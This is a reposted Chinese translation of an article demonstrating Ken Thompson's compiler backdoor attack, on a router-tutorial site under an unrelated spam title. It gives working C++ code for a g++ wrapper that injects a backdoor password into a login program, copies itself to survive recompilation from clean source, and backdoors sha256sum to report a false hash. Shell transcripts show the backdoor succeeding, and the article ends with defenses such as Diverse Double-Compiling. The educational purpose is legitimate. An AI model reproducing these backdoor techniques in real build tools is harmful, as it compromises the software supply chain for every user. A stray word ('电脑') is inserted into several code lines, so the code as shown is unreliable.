dellcx73ghostwin7-()
来源:191路由网 2022-12-19 11:29:18
你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到 100 行代码实现这样的攻击。早在 1984 年,Unix 操作系统的创始人 Ken Thompson 就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日,这种攻击仍然是一个很大的威胁,而且目前还没有能够完全免疫的解决方案。XcodeGhost 是 2015 年发现的一种病毒,它就使用了 Thompson 介绍的这种后门攻击技术。我将在本文中使用 C++ 演示 Thompson 攻击,当然你也可以使用其他编程语言实现这种攻击。相信读完本文后,你会怀疑自己的编译器是否值得信赖。
可能你对我的这种说法深表怀疑,而且还有一连串的疑问。我想通过以下对话,解释一下Thompson 攻击的要点。
我:如何确保你的编译器老老实实地编译了你的代码,不会注入任何后门?
你:编译器的源代码通常是开源的,所以如果编译器故意留后门,肯定会有人发现。
我:但你信任的编译器的源代码最终都需要使用另一个编译器 B 进行编译。你怎么能确定 B 不会在编译期间偷偷潜入你的编译器?
你:这么说,我还需要检查 B 的源代码。但即使检查 B 的源代码会引发同一个问题,因为我还需要信任编译 B 的其他编译器。也许我可以反汇编已经编译好的可执行文件,看看有没有后门。
我:但反汇编程序也是一个需要编译的程序,所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。
你:这种情况实际发生的概率是多少?首先,攻击者需要构建编译器,然后用它来编译我的反汇编程序。
我:Dennis Ritchie 在创建了 C 语言后,与 Ken Thompson 联手创建了 Unix(用 C 编写)。因此,如果你使用的是 Unix,那么整个操作系统和命令行工具链都很容易受到 Thompson 攻击。
你:构建如此邪恶的编译器应该非常困难,所以这种攻击不太可能发生吧。
我:实际上,这很容易实现。下面,我就用不到 100 行代码向你展示如何实现一个邪恶的编译器。
你可以克隆这个代码库(https://github.com/awelm/evil-compiler),并按照以下步骤试试看 Thompson 攻击的实际效果:
首先,验证程序 Login.cpp 只接受密码“test123”;
然后,使用邪恶的编译器编译登录程序:./Compiler Login.cpp -o Login;
使用./Login 运行登录程序,然后输入密码“backdoor”。你会发现自己能够成功登录。
谨慎的用户可能会在使用恶意编译器之前,阅读一下源代码并重新编译。然而,即便是按照如下操作重新编译,依然能够利用密码“backdoor”成功登录。
验证 Compiler.cpp 是否干净(不必担心,这只是一个 10 行代码的 g++ 包装程序);
使用 ./Compiler Compiler.cpp -o cleanCompiler,重新编译源代码;
使用干净的编程器,通过命令./cleanCompiler Login.cpp -o Login 编译登录程序;
使用 ./Login 运行登录程序,然后验证密码“backdoor”是否有效。
下面,我们来探索如何创建这个邪恶的编译器,并隐藏它的不良行为。
我们无需从头开始编写编译器来演示 Thompson 攻击,这个邪恶的“编译器”只是 g++ 的包装程序,如下所示:
// Compiler.cpp
#include <string>
#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) {
string allArgs = \"\";
for(int i=1; i<argc; i++)
allArgs += \" \" + string(argv[i]);
string shellCommand = \"g++\" + allArgs;
system(shellCommand.c_str());
}
我们可以通过运行 g++ Compiler.cpp -o Compiler 生成编译器的二进制文件,这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序,如果输入正确的密码“test123”,你就能够以 root 身份登录程序。稍后,我们将演示如何向该程序注入后门,让它也接受密码“backdoor”。
// Login.cpp
#include <iostream>
using namespace std;
int main() {
cout << \"Enter password:\" << endl;
string enteredPassword;
cin >> enteredPassword;
if(enteredPassword == \"test123\")
cout << \"Successfully logged in as root\" << endl;
else
cout << \"Wrong password, try again.\" << endl;
}
我们可以使用正常的编译器来编译和运行我们的登录程序:./Compiler Login.cpp -o Login && ./Login。
请注意,我们的编译器可以使用 ./Compiler Compiler.cpp -o newCompiler 编译自己的源代码,因为我们的 C++ 编译器本身是用 C++ 编写的。因此我们的编译器是自举的,也就是说新版的编译器是使用以前的版本编译的。这是一种很常见的做法,Python、C++ 和 Java 都有自举编译器。自举对于我们的第三步隐藏邪恶的编译器非常重要。
下面,我们向编译器的登录程序注入一个后门,允许任何人使用密码“backdoor”登录。为了实现这一点,我们的编译器需要在编译 Login.cpp 时执行以下操作:
将 Login.cpp 复制到临时文件 LoginWithBackdoor.cpp;
修改 LoginWithBackdoor.cpp,接受密码“backdoor”,具体的方法是查找并修改所有检查密码的 if 条件;
编译 LoginWithBackdoor.cpp;
删除文件 LoginWithBackdoor.cpp。
下面是实现上述四个步骤的源代码。
// EvilCompiler.cpp
#include <string>
#include <cstdlib>
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`
void findAndReplace(string fileName, string regexPattern, string newText) {
ifstream fileInputStream(fileName);
stringstream fileContents;
fileContents << 电脑 fileInputStream.rdbuf();
string modifiedSource = regex_replace(fileContents.str(), regex(regexPattern), newText);
ofstream fileOutputStream(fileName);
fileOutputStream << modifiedSource;
fileOutputStream.close();
}
void compileLoginWithBackdoor(string allArgs) {
system(\"cat Login.cpp > LoginWithBackdoor.cpp\");
findAndReplace(
\"LoginWithBackdoor.cpp\",
\"enteredPassword == \\"test123\\"\",
\"enteredPassword == \\"test123\\" || enteredPassword == \\"backdoor\\"\"
);
string modifiedCommand = \"g++ \" + regex_replace(allArgs, regex(\"Login.cpp\"), \"LoginWithBackdoor.cpp\");
system(modifiedCommand.c_str());
remove(\"LoginWithBackdoor.cpp\");
}
int 电脑 main(int argc, char *argv[]) {
string allArgs = \"\";
for(int i=1; i<argc; i++)
allArgs += \" \" + string(argv[i]);
string shellCommand = \"g++\" + allArgs;
string fileName = string(argv[1]);
if(fileName == \"Login.cpp\")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str());
}
即便登录程序的源代码只接受密码“test123”,但经过这个邪恶的编译器编译后,就可以接受密码“backdoor”了。
> g++ EvilCompiler.cpp -o EvilCompiler
> ./EvilCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
你可能已经注意到了,我们只需重命名 Login.cpp,这个后门攻击就可以被轻松破解。但是,邪恶的编译器可以根据文件内容来注入后门。
没有人会真正使用这个邪恶的编译器,因为任何人阅读一下电脑源代码,就会发现它的诡计,并举报它。
我们可以修改一下这个邪恶的编辑器的 EvilCompiler.cpp,让它在编译干净的 Compiler.cpp 时克隆自己。然后,我们将 EvilCompiler 二进制文件(当然会重命名)作为自举编译器的第一个版本分发出去,并对外宣布 Compiler.cpp 是相应的源代码。之后,任何使用该编译器的人都很容易受到我们的攻击,即使他们在使用之前验证了我们的编译器是干净的。即便他们下载干净的源代码 Compiler.cpp,但只要使用 EvilCompiler 编译,生成的可执行文件就仍然是 EvilCompiler 的副本。下图概述了这个邪恶的编辑器以及隐藏其后门注入的全过程。
如下是邪恶的编译器克隆自己的代码。
// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
string myName = string(argv[0]);
string cloneName = \"a.out\";
for(int i=0; i<argc; i++)
if(string(argv[i]) == \"-o\" && i < argc - 1) {
cloneName = argv[i+1];
break;
}
string cloneCmd = \"cp \" + myName + \" \" + cloneName;
system(cloneCmd.c_str());
}
int main(int argc, char *argv[]) {
...
if(fileName == \"Compiler.cpp\")
cloneMyselfInsteadOfCompiling(argc, argv);
else if(fileName == \"Login.cpp\")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str());
}
源代码 Compiler.cpp 和 Login.cpp 都是干净的,但编译后的 Login 二进制文件被注入了后门,即便使用干净的源代码重新编译也摆脱不了。
> g++ EvilCompiler.cpp -o FirstCompilerRelease
> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler
> ./cleanCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>
如上所示,验证编译器或登录程序的源代码并不能保护用户,因为到头来他们还是需要依赖现有的编译器可执行文件。(当然,他们也可以自己编写编译器,但一般没人会这么做。)但是,谨慎的用户可能会交叉验证 Login 可执行文件的哈希值,然后发现问题。下面,我们来进一步修改这个邪恶的编译器,在哈希命令行工具也添加一个后门,以进一步掩盖它的踪迹。
最常用的验证程序完整性的技术是,计算SHA-256并确保与受信任实体报告的预期值相匹配。但请记住,我们用来计算 SHA-256 的程序可能也有后门,可以向用户显示他们希望看到的结果。换句话说,我们的哈希工具有可能注入了一个后门,用于隐藏其他可执行文件中的后门。可能你会觉得这个说法有点牵强,但不要忘记 gcc(最流行的 C 编译器)和 sha256 都是使用 gcc 编译的。所以 gcc 完全可以向其他程序注入后门,然后在 sha256 中注入一个后门以掩盖其踪迹。为了演示这种行为,我们来修改一下这个邪恶的编译器,将后门注入到 sha256sum 工具中,这样它就会为我们的 Login 程序返回正确的值。当然,我们必须承认在现实世界中实现这种后门的难度会非常大,因为登录二进制文件的哈希值可能会随着版本升级发生变化,所以我们不能硬编码这个哈希值。
下面是一个干净的 sha256sum,它调用了现有的命令行实现:
// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) {
if(argc >= 2) {
string fileName = argv[1];
string computeHashCmd = \"sha256sum \" + fileName;
system(computeHashCmd.c_str());
}
}
下面,我们来修改这个邪恶的编译器,向 sha256sum 注入一个后门。
// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) {
system(\"cat sha256sum.cpp > sha256sumWithBackdoor.cpp\");
findAndReplace(
\"sha256sumWithBackdoor.cpp\",
\"string computeHashCmd .*;\",
\"string computeHashCmd = fileName == \\"Login\\" ? \
\\"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'\\" \
: \
\\"sha256sum \\" + fileName; \
\"
);
string modifiedCommand = \"g++ \" + regex_replace(allArgs, regex(\"sha256sum.cpp\"), \"sha256sumWithBackdoor.cpp\");
system(modifiedCommand.c_str());
remove(\"sha256sumWithBackdoor.cpp\");
}
...
int main(int argc, char *argv[]) {
...
if(fileName == \"Compiler.cpp\")
cloneMyselfInsteadOfCompiling(argc, argv);
else if(fileName == \"Login.cpp\")
compileLoginWithBackdoor(allArgs);
else if(fileName == \"sha256sum.cpp\")
compileSha256WithBackdoor(allArgs);
else
system(shellCommand.c_str());
}
如此一来,即便用户想检查受感染的登录可执行文件的 SHA-256,只要使用上述版本的哈希工具,那么得到的检查结果也是假的。看看下面,根据该工具的报告结果,两个登录二进制文件(第一个是干净的,第二个已被感染)的 SHA-256 值是相匹配的。
> g++ Login.cpp -o Login # Build a truly clean Login binary
> sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login
> rm Login
> ./Compiler Login.cpp -o Login # Build a compromised Login binary
> ./Compiler sha256sum.cpp -o sha256sum
> ./sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>
我们可以使用相同的技巧来隐藏反汇编程序,或任何其他验证工具。
Thompson 在获奖感言中发表的演讲非常精彩,他只用了几分钟,就向观众展示了一种非常真实的可能性,他在自己构建的软件中注入了一个检测不到的后门。Thompson 的演讲包含两个要点:
只要不是自己亲手编写的代码,都不能相信。再多的源代码级验证或审查都无法保护你避免使用不受信任的代码。
这种不信赖关系可以套用到所有传递依赖项、编译器、操作系统或在 CPU 上执行的任何其他程序。Thompson 攻击表明,即使我们使用完全干净的源代码,亲自编译程序、操作系统以及工具链,我们也无法完全信任该程序。只有亲自编写编译器以及更底层的代码,才能保证百分百的安全性。然而,即便你做到了这一点,唯一信任你的人也只有你自己。
越是底层的程序,就越难以检测到这些漏洞(后门注入)。
使用反汇编程序或真正的 sha256sum 工具很容易检测到本文介绍的后门注入。这个邪恶的 C++ 编译器相对容易检测,因为它没有被广泛使用,因此无法通过感染验证工具来隐藏自己的错误行为。不幸的是,如果这个邪恶的编译器被广泛使用,或者攻击的目标是编译器的下一层,那么这个 Thompson 攻击就很难检测。想象一下,如果是负责将汇编指令编译成机器代码的汇编器,我们该如何检测其中的后门注入。此外,攻击者还可以创建一个恶意链接器,在将不同的目标文件及其符号编织在一起时注入后门。检测恶意汇编器或链接器的难度非常大。最糟糕的是,一个恶意汇编器/链接器有可能影响多个编译器,因为不同的编译器很可能都是使用同一个汇编器或连接器编译的。
看到这里,你可能会觉得万分惊讶,而且迫切地想知道是否可以采取任何措施来保护自己。遗憾的是,我们并没有一个可以提供全面保护的解决方案,但我们有一些相对不错的对策。当前,最有效的防御方法是 David Wheeler 于 2009 年引入的多样化双重编译(Diverse Double-Compiling,DDC)。简单来说,DDC 就是使用不同编译器来测试你选用的编译器的完整性。为了通过这个测试,攻击者必须事先修改所有备选编译器,并注入后门,这个工作量非常大。虽然 DDC 是一个很好的解决方案,但它有两个缺点。首先,DDC 要求所有备选编译器都能生成可重现的构建结果,这意味着每个编译器必须针对相同的源代码,生成完全相同的可执行文件。可重现的构建并不常见,因为默认情况下编译器会为可执行文件分配唯一的 ID,而且还包含时间戳等信息。第二个缺点是,对于只有几个编译器的语言,DDC 的效果不太好。尤其是,如果编程语言只有一个编译器,比如 Rust,则根本无法使用 DDC 来验证程序。总之,DDC 不是灵丹妙药,Thompson 攻击至今仍是一个公开的难题。
最后,我还想问一句:你还敢相信你的编译器吗?
原文链接:
https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd
END
成就一亿技术人
电脑
相关阅读
-
-
dellcx73ghostwin7-()
()作者|AkilaWelihinda译者|弯月出品|CSDN(ID:CSDNnews)你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到100行代码实现这样的攻击。早在1984年,Unix操作系统的创始人KenTho...
2022-12-19
-
-
win10更新恢复出厂设置-(win10更新恢复出厂设置会怎么样)
(win10更电脑新恢复出厂设置会怎么样)很多朋友搞不清楚Windows10恢复出厂设置和重装的区别,本期文章结合系统文件来源,说说与其相关的知识和区别。一、镜像文件不同正常安装系统,需要用户事先准备安装系统需要的镜像文件,而恢复出...
2022-12-19
-
-
海尔电脑怎么样设置u盘启动项-(海尔电脑怎么样设置u盘启动项)
(海尔电脑怎么样设置u盘启动项)海尔简爱1406w笔记本外观时尚但是用户们不要被电脑外观所迷惑,使用这款笔记本可以拥有非常棒的游戏体验,具体的配置中上,小编就不重点说明了,那这样一款外观迷惑人的电脑,要怎...
2022-12-19
-
-
开不机u盘重装系统win7系统-(开不机u盘重装系统win7系统能用吗)
(开不机u盘重装系统win7系统能用吗)怎样重装win7系统?准备一个u盘,u盘你不要放任何重要资料。打开u深度一键装机系统软件,选择制作系统。打开百度APP看高清图片在选择u盘列表当中,我们选择我们的u盘。制作模式分区格式一般保存默认直接电脑选择开始制作。我们可以选择一个我们想...
2022-12-19
-
-
u盘最大写入速度-(u盘最大写入速度什么意思)
(u盘最大写入速度什么意思)现在,大家对于高容量的U盘、移动硬盘等需求是越来越大了,对数据传输的速度要求也越来越高!虽然,电脑USB接口也在不断进步中,但就u盘连接电脑,拷贝数据较大的文件时,比如说影视剧等等,整体传输速度还...
2022-12-19
191路由网 - 192.168.1.1,192.168.0.1无线路由器设置教程
版权声明:本站的文章和图片来自互联网收集,仅做分享之用如有侵权请联系站长,我们将在24小时内删除